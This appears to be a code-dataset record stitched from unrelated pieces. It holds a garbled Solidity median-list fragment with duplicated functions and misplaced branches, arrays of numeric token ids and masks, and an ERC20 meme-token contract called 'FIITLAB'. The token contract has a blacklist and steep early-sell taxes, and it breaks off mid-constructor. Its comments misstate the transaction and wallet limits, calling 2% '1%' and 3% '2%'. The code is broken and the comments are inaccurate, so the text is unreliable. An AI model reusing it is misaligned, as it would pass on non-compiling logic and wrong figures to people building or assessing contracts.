if (list.list.list.numElements == 0) {
list.median = bytes32(0);
if (list.relation[key] == MedianRelation.Greater || list.relation[key] == MedianRelation.Equal) {
action = MedianAction.Lesser;
}
if (list.relation[key] == MedianRelation.Lesser || list.relation[key] == MedianRelation.Equal) {
action = MedianAction.Greater;
}
}
updateMedian(list, action);
list.list.remove(key);
}
} else if (list.list.list.numElements % 2 == 0) {
function remove(List storage list, bytes32 key) internal {
MedianAction action = MedianAction.None;
if (list.list.list.numElements == 0) {
list.median = bytes32(0);
if (list.relation[key] == MedianRelation.Greater || list.relation[key] == MedianRelation.Equal) {
action = MedianAction.Lesser;
}
if (list.relation[key] == MedianRelation.Lesser || list.relation[key] == MedianRelation.Equal) {
action = MedianAction.Greater;
}
}
updateMedian(list, action);
list.list.remove(key);
}
} else {
function remove(List storage list, bytes32 key) internal {
MedianAction action = MedianAction.None;
if (list.list.list.numElements == 0) {
list.median = bytes32(0);
if (list.relation[key] == MedianRelation.Greater || list.relation[key] == MedianRelation.Equal) {
action = MedianAction.Lesser;
}
if (list.relation[key] == MedianRelation.Lesser || list.relation[key] == MedianRelation.Equal) {
action = MedianAction.Greater;
}
}
updateMedian(list, action);
list.list.remove(key);
}
function update(
List storage list,
bytes32 key,
uint256 value,
bytes32 lesserKey,
bytes32 greaterKey
) internal {
remove(list, key);
insert(list, key, value, lesserKey, greaterKey);
}
function push(List storage list, bytes32 key) internal {
insert(list, key, 0, bytes32(0), list.list.list.tail);
}
function popN(List storage list, uint256 n) internal returns (bytes32[] memory) {
require(n <= list.list.list.numElements, "not enough elements");
bytes32[] memory keys = new bytes32[](n);
for (uint256 i = 0; i < n; i = i.add(1)) {
bytes32 key = list.list.list.head;
keys[i] = key;
remove(list, key);
}
return keys;
}
function popN(List storage list, uint256 n) internal returns (bytes32[] memory) {
require(n <= list.list.list.numElements, "not enough elements");
bytes32[] memory keys = new bytes32[](n);
for (uint256 i = 0; i < n; i = i.add(1)) {
bytes32 key = list.list.list.head;
keys[i] = key;
remove(list, key);
}
return keys;
}
function contains(List storage list, bytes32 key) internal view returns (bool) {
return list.list.contains(key);
}
function getValue(List storage list, bytes32 key) internal view returns (uint256) {
return list.list.values[key];
}
function getMedianValue(List storage list) internal view returns (uint256) {
return getValue(list, list.median);
}
function getHead(List storage list) internal view returns (bytes32) {
return list.list.list.head;
}
function getMedian(List storage list) internal view returns (bytes32) {
return list.median;
}
function getTail(List storage list) internal view returns (bytes32) {
return list.list.list.tail;
}
function getNumElements(List storage list) internal view returns (uint256) {
return list.list.list.numElements;
}
function getElements(List storage list)
internal
view
returns (
bytes32[] memory,
uint256[] memory,
MedianRelation[] memory
)
{
bytes32[] memory keys = getKeys(list);
uint256[] memory values = new uint256[](keys.length);
MedianRelation[] memory relations = new MedianRelation[](keys.length);
for (uint256 i = 0; i < keys.length; i = i.add(1)) {
values[i] = list.list.values[keys[i]];
relations[i] = list.relation[keys[i]];
}
return (keys, values, relations);
}
function getElements(List storage list)
internal
view
returns (
bytes32[] memory,
uint256[] memory,
MedianRelation[] memory
)
{
bytes32[] memory keys = getKeys(list);
uint256[] memory values = new uint256[](keys.length);
MedianRelation[] memory relations = new MedianRelation[](keys.length);
for (uint256 i = 0; i < keys.length; i = i.add(1)) {
values[i] = list.list.values[keys[i]];
relations[i] = list.relation[keys[i]];
}
return (keys, values, relations);
}
function getKeys(List storage list) internal view returns (bytes32[] memory) {
return list.list.getKeys();
}
function updateMedian(List storage list, MedianAction action) private {
LinkedList.Element storage previousMedian = list.list.list.elements[list.median];
if (action == MedianAction.Lesser) {
list.relation[list.median] = MedianRelation.Greater;
list.median = previousMedian.previousKey;
list.relation[list.median] = MedianRelation.Lesser;
list.median = previousMedian.nextKey;
}
list.relation[list.median] = MedianRelation.Equal;
}
function updateMedian(List storage list, MedianAction action) private {
LinkedList.Element storage previousMedian = list.list.list.elements[list.median];
if (action == MedianAction.Lesser) {
list.relation[list.median] = MedianRelation.Greater;
list.median = previousMedian.previousKey;
list.relation[list.median] = MedianRelation.Lesser;
list.median = previousMedian.nextKey;
}
list.relation[list.median] = MedianRelation.Equal;
}
} else if (action == MedianAction.Greater) {
}
| 11,034,531 | [
1,
49,
1598,
4167,
279,
3115,
666,
434,
9088,
15542,
17408,
635,
1731,
1578,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12083,
13717,
13174,
682,
1190,
13265,
2779,
288,
203,
225,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
225,
1450,
13717,
13174,
682,
364,
13717,
13174,
682,
18,
682,
31,
203,
203,
225,
2792,
20158,
2779,
1803,
288,
203,
565,
599,
16,
203,
565,
17304,
264,
16,
203,
565,
611,
16572,
203,
225,
289,
203,
203,
225,
2792,
20158,
2779,
3963,
288,
203,
565,
22243,
16,
203,
565,
17304,
264,
16,
203,
565,
611,
16572,
16,
203,
565,
9057,
203,
225,
289,
203,
203,
225,
1958,
987,
288,
203,
565,
13717,
13174,
682,
18,
682,
666,
31,
203,
565,
1731,
1578,
12644,
31,
203,
565,
2874,
12,
3890,
1578,
516,
20158,
2779,
3963,
13,
2533,
31,
203,
225,
289,
203,
203,
225,
445,
2243,
12,
203,
565,
987,
2502,
666,
16,
203,
565,
1731,
1578,
498,
16,
203,
565,
2254,
5034,
460,
16,
203,
565,
1731,
1578,
5242,
264,
653,
16,
203,
565,
1731,
1578,
6802,
653,
203,
225,
262,
2713,
288,
203,
565,
666,
18,
1098,
18,
6387,
12,
856,
16,
460,
16,
5242,
264,
653,
16,
6802,
653,
1769,
203,
565,
10688,
18,
1046,
2502,
930,
273,
666,
18,
1098,
18,
1098,
18,
6274,
63,
856,
15533,
203,
203,
565,
20158,
2779,
1803,
1301,
273,
20158,
2779,
1803,
18,
7036,
31,
203,
565,
309,
261,
1098,
18,
1098,
18,
1098,
18,
2107,
3471,
422,
404,
13,
288,
203,
1377,
666,
18,
22410,
273,
498,
31,
203,
1377,
666,
18,
5488,
63,
856,
65,
273,
20158,
2779,
3963,
18,
5812,
31,
203,
1377,
2
] |
// SPDX-License-Identifier: Unlicensed
/*
FIITLAB
Website: https://www.fiitlab.com
Telegram: https://t.me/fiitlab
*/
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract FIITLAB is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
address private marketingWallet;
address private devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public enableEarlySellTax = true;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
// Seller Map
mapping (address => uint256) private _holderFirstBuyTimestamp;
// Blacklist Map
mapping (address => bool) private _blacklist;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public earlySellLiquidityFee;
uint256 public earlySellMarketingFee;
uint256 public earlySellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("FIITLAB", "FIIT") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 5;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevFee = 5;
uint256 _sellMarketingFee = 5;
uint256 _sellLiquidityFee = 2;
uint256 _sellDevFee = 3;
uint256 _earlySellLiquidityFee = 4;
uint256 _earlySellMarketingFee = 10;
uint256 _earlySellDevFee = 11;
uint256 totalSupply = 1 * 1e12 * 1e18;
maxTransactionAmount = totalSupply * 20 / 1000; // 1% maxTransactionAmountTxn
maxWallet = totalSupply * 30 / 1000; // 2% maxWallet
